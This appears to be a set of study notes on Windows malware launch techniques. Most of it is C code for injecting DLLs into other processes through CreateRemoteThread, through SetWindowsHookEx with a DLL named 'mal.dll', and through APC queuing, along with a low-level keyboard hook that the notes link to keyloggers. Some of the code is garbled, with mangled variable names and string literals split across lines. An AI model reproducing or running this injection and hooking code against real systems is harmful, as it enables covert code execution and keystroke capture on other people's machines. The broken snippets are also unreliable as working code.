title: malware_launching.md
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main() {
const DWORD pid = 11428;
char *dllName = "H:\awesome.dll";
printf("[+] PID: %lu
", pid);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProc == NULL) {
printf("[-] Error opening Process
");
return 1;
}
LPVOID lpAlloc = VirtualAllocEx(hProc, NULL, strlen(dllName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpAlloc == NULL)
{
printf("[-] Problem Allocating Memory in remote Process
");
return 1;
}
printf("[+] Got Pointer to Memory @%08p
", lpAlloc);
SIZE_T bytesWritten = 0;
if(!WriteProcessMemory(hProc, lpAlloc, dllName, strlen(dllName), &bytesWritten)) {
printf("[-] Error writing string into remote process
");
return 1;
}
printf("[+] Wrote String in Memory
");
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
if(!hKernel32) {
printf("[-] No Handle to Kernel32.dll");
return 1;
}
printf("[+] Got Kernel32.dll
");
FARPROC fpLoadLib = GetProcAddress(hKernel32, "LoadLibraryA");
if(!fpLoadLib) {
printf("[-] No Address for LoadLibrary
");
return 1;
}
printf("[+] Address of LoadLibaray: %08p
", fpLoadLib);
// Create Remote Thread
if(!CreateRemoteThread(hProc, NULL, 0, fpLoadLib, lpAlloc, 0, NULL)) {
printf("[-] Failed to CreateRemoteThread() :-(
");
return 1;
}
return 0;
}
Remote Hooks - observe/manipulate messages for a remote Process
Remote Hooks are split in two other types:
High-Level Hooks - Hook Proc as exported function in a DLL, which is mapped by the OS into ProcessSpace of one or more Threds
Low-Level Hooks - Hook Proc contained in the Process which installed the Hook
Hooks are often Used in keyloggers to hook the Keystroke Messages
Using SetWindowsHookEx()
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
HHOOK ownhookHandle;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if(wParam == WM_KEYDOWN) {
printf("Key pressed
");
}
return CallNextHookEx(own, nCode, wParam, lParam);
}
int main() {
hookHandle =SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
if(!own) {
printf("[-] No Hook for you :(
");
return 1;
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
return 0;
}
Example
// hooking.c
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main() {
int pid = 14464;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(!hProc) {
printf("[-] Failed to Open Target Process
");
return -1;
}
HMODULE maldll = LoadLibraryA("H:\mal.dll");
if(!maldll) {
printf("[-] Couldnt Load Library
");
return -1;
}
HOOKPROC hookingProcedure = (HOOKPROC)GetProcAddress(maldll, "hookingProc");
if(!hookingProcedure) {
printf("[-] Failed to get hookproc
");
return -1;
}
HHOOK hookHandle = SetWindowsHookEx(WH_CBT, hookingProcedure, maldll, 0);
if(!hookHandle) {
printf("[-] No Hook for you :(
");
return -1;
}
printf("[+] Successfully injected dll..
");
return 0;
}
APC = Asynchronous Procedure Call
=> Like CreateRemoteThread() but invokes a existing Thread
// Same Code as for the DLL injection...
// Replace CreateRemoteThread with:
// a threadId is needed
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
if(!QueueUserAPC((PAPCFUNC)fpLoadLib, hThread, (ULONG_PTR)lpAlloc)) {
printf("Failed to APC Inject :(
");
}